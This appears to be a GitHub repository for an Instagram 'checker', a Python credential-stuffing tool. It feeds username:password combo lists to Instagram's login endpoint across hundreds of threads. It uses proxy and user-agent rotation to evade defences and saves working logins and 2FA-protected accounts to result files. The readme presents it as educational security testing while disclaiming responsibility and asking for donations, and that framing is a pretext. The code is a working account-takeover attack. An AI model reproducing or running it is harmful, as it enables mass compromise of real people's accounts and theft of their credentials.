├── [Data]
├── [Results]
│ ├── 2fa.txt
│ └── hits.txt
└── configs.json
├── requirements.txt
├── .gitattributes
├── readme.md
├── .gitignore
└── main.py
/[Data]/[Results]/2fa.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/[Data]/[Results]/hits.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests==2.25.1
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/[Data]/configs.json:
--------------------------------------------------------------------------------
1 | {
2 | "use_proxy":1,
3 | "proxy_type":2,
4 | "threads":300
5 | }
6 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # InstagramChecker
2 | Simple tool which checks username/email password combinations.
3 |
4 | # Features
5 | - Useragent rotation.
6 | - Proxy / Proxyless mode.
7 | - Proxy support (https / socks4 / socks5).
8 | - Configurable in the configs.json.
9 | - Customizable thread amount.
10 | - 2FA Capture.
11 | - CPM Counter.
12 |
13 | # Installation
14 | Make sure you have python 3.8.7 or higher (or use the exe version at the releases tab on the right side).
15 | ```
16 | pip3 install -r requirements.txt
17 | ```
18 |
19 | # Configs.json
20 | - use_proxy (0 - Proxyless | 1 - Proxy).
21 | - proxy_type (1 - HTTPS | 2 - SOCKS4 | 3 - SOCKS5).
22 | - threads (Higher means faster performance, but more chance for inaccurate results).
23 |
24 | # Legal
25 | This was merely a speedrun to demonstrate how checkers work.
26 | This is illegal if you use this without the consent of the owners (in this case, the Instagram team).
27 | The software designed to perform website security testing.
28 | The author is not responsible for any illegal use of these programs.
29 | I am not accountable for anything you get into.
30 | I am not accountable for any of your actions.
31 | This is 100% educational, please do not misuse this tool.
32 |
33 | # Support
34 | - Paypal: onemanbuildsofficial@gmail.com
35 | - BTC: 13T3uYwtKYAQcbPzcb16MFPX9ZdNjBuoc4
36 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # celery beat schedule file
95 | celerybeat-schedule
96 |
97 | # SageMath parsed files
98 | *.sage.py
99 |
100 | # Environments
101 | .env
102 | .venv
103 | env/
104 | venv/
105 | ENV/
106 | env.bak/
107 | venv.bak/
108 |
109 | # Spyder project settings
110 | .spyderproject
111 | .spyproject
112 |
113 | # Rope project settings
114 | .ropeproject
115 |
116 | # mkdocs documentation
117 | /site
118 |
119 | # mypy
120 | .mypy_cache/
121 | .dmypy.json
122 | dmypy.json
123 |
124 | # Pyre type checker
125 | .pyre/
126 | InstagramChecker/proxies.txt
127 | InstagramChecker/InstagramChecker.exe
128 | InstagramChecker/hits.txt
129 | InstagramChecker/detailed_hits.txt
130 | InstagramChecker/combos.txt
131 | InstagramChecker/bads.txt
132 | InstagramChecker.zip
133 | output/main.exe
134 | bads.txt
135 | combos.txt
136 | proxies.txt
137 | bads.txt
138 | output/InstagramChecker.exe
139 | InstagramChecker_v1.zip
140 | InstagramChecker_v1_1.zip
141 | InstagramChecker/useragents.txt
142 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | from os import name,system
2 | from sys import stdout
3 | from random import choice
4 | from time import sleep
5 | from threading import Thread,Lock,active_count,Timer
6 | import json
7 | import requests
8 |
9 | colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m"}
10 | version = 'v1.0.0'
11 |
12 | def clear():
13 | if name == 'posix':
14 | system('clear')
15 | elif name in ('ce', 'nt', 'dos'):
16 | system('cls')
17 | else:
18 | print("\n") * 120
19 |
20 | def setTitle(title:str):
21 | if name == 'posix':
22 | stdout.write(f"\x1b]2;{title}\x07")
23 | elif name in ('ce', 'nt', 'dos'):
24 | system(f'title {title}')
25 | else:
26 | stdout.write(f"\x1b]2;{title}\x07")
27 |
28 | def printText(lock,bracket_color,text_in_bracket_color,text_in_bracket,text):
29 | lock.acquire()
30 | stdout.flush()
31 | text = text.encode('ascii','replace').decode()
32 | stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n')
33 | lock.release()
34 |
35 | def readFile(filename,method):
36 | with open(filename,method,encoding='utf8') as f:
37 | content = [line.strip('\n') for line in f]
38 | return content
39 |
40 | def readJson(filename,method):
41 | with open(filename,method) as f:
42 | return json.load(f)
43 |
44 | def getRandomUserAgent():
45 | useragents = readFile('[Data]/useragents.txt','r')
46 | return choice(useragents)
47 |
48 | def getRandomProxy(use_proxy,proxy_type):
49 | proxies_file = readFile('[Data]/proxies.txt','r')
50 | proxies = {}
51 | if use_proxy == 1:
52 | proxy = choice(proxies_file)
53 | if proxy_type == 1:
54 | proxies = {
55 | "http":"http://{0}".format(proxy),
56 | "https":"https://{0}".format(proxy)
57 | }
58 | elif proxy_type == 2:
59 | proxies = {
60 | "http":"socks4://{0}".format(proxy),
61 | "https":"socks4://{0}".format(proxy)
62 | }
63 | else:
64 | proxies = {
65 | "http":"socks5://{0}".format(proxy),
66 | "https":"socks5://{0}".format(proxy)
67 | }
68 | else:
69 | proxies = {
70 | "http":None,
71 | "https":None
72 | }
73 | return proxies
74 |
75 |
76 | class Main:
77 | def __init__(self):
78 | setTitle(f'[Instagram Checker Tool] ^| {version}')
79 | clear()
80 | self.title = colors['white'] + """
81 | ╔═════════════════════════════════════════════════════════════════════╗
82 | ╦╔╗╔╔═╗╔╦╗╔═╗╔═╗╦═╗╔═╗╔╦╗
83 | ║║║║╚═╗ ║ ╠═╣║ ╦╠╦╝╠═╣║║║
84 | ╩╝╚╝╚═╝ ╩ ╩ ╩╚═╝╩╚═╩ ╩╩ ╩
85 | ╚═════════════════════════════════════════════════════════════════════╝
86 | """
87 | print(self.title)
88 | self.lock = Lock()
89 | self.hits = 0
90 | self.bads = 0
91 | self.twofa = 0
92 | self.retries = 0
93 |
94 | self.maxcpm = 0
95 | self.cpm = 0
96 |
97 | config = readJson('[Data]/configs.json','r')
98 |
99 | self.use_proxy = config['use_proxy']
100 | self.proxy_type = config['proxy_type']
101 | self.threads = config['threads']
102 |
103 | self.session = requests.Session()
104 |
105 | def titleUpdate(self):
106 | while True:
107 | setTitle(f'[Instagram Checker Tool] ^| {version} ^| CPM: {self.cpm} ^| HITS: {self.hits} ^| BADS: {self.bads} ^| 2FA: {self.twofa} ^| RETRIES: {self.retries} ^| THREADS: {active_count() - 1}')
108 | sleep(0.1)
109 |
110 | def calculateCpm(self):
111 | self.cpm = self.maxcpm * 60
112 | self.maxcpm = 0
113 | Timer(1.0, self.calculateCpm).start()
114 |
115 | def worker(self,username,password):
116 | try:
117 | headers = {
118 | 'authority': 'www.instagram.com',
119 | 'x-ig-www-claim': 'hmac.AR08hbh0m_VdJjwWvyLFMaNo77YXgvW_0JtSSKgaLgDdUu9h',
120 | 'x-instagram-ajax': '82a581bb9399',
121 | 'content-type': 'application/x-www-form-urlencoded',
122 | 'accept': '*/*',
123 | 'user-agent': getRandomUserAgent(),
124 | 'x-requested-with': 'XMLHttpRequest',
125 | 'x-csrftoken': 'rn3aR7phKDodUHWdDfCGlERA7Gmhes8X',
126 | 'x-ig-app-id': '936619743392459',
127 | 'origin': 'https://www.instagram.com',
128 | 'sec-fetch-site': 'same-origin',
129 | 'sec-fetch-mode': 'cors',
130 | 'sec-fetch-dest': 'empty',
131 | 'referer': 'https://www.instagram.com/',
132 | 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
133 | 'cookie': ''
134 | }
135 |
136 | proxy = getRandomProxy(self.use_proxy,self.proxy_type)
137 |
138 | payload = f'username={username}&enc_password=%23PWD_INSTAGRAM_BROWSER%3A0%3A0%3A{password}&queryParams=%7B%7D&optIntoOneTap=false'
139 |
140 | response = self.session.post('https://www.instagram.com/accounts/login/ajax/',data=payload,headers=headers,proxies=proxy)
141 | if response.json()['status'] == 'ok' and response.json()['authenticated'] == False:
142 | self.bads += 1
143 | printText(self.lock,colors['white'],colors['red'],'BAD', f'{username}:{password}')
144 | with open('[Data]/[Results]/bads.txt','a',encoding='utf8') as f:
145 | f.write(f'{username}:{password}\n')
146 | elif 'feedback_required' in response.text:
147 | self.twofa += 1
148 | printText(self.lock,colors['white'],colors['yellow'],'2FA', f'{username}:{password}')
149 | with open('[Data]/[Results]/2fa.txt','a',encoding='utf8') as f:
150 | f.write(f'{username}:{password}\n')
151 | elif response.json()['authenticated'] == True:
152 | self.hits += 1
153 | printText(self.lock,colors['white'],colors['green'],'HIT', f'{username}:{password}')
154 | with open('[Data]/[Results]/hits.txt','a',encoding='utf8') as f:
155 | f.write(f'{username}:{password}\n')
156 | else:
157 | self.retries += 1
158 | self.worker(username,password)
159 | except Exception:
160 | self.retries += 1
161 | self.worker(username,password)
162 | else:
163 | self.maxcpm += 1
164 |
165 | def start(self):
166 | Thread(target=self.titleUpdate).start()
167 | self.calculateCpm()
168 | combos = readFile('[Data]/combos.txt','r')
169 | for combo in combos:
170 | run = True
171 | username = combo.split(':')[0]
172 | password = combo.split(':')[1]
173 | while run:
174 | if active_count() <= self.threads:
175 | Thread(target=self.worker,args=(username,password)).start()
176 | run = False
177 |
178 | if __name__ == '__main__':
179 | main = Main()
180 | main.start()
--------------------------------------------------------------------------------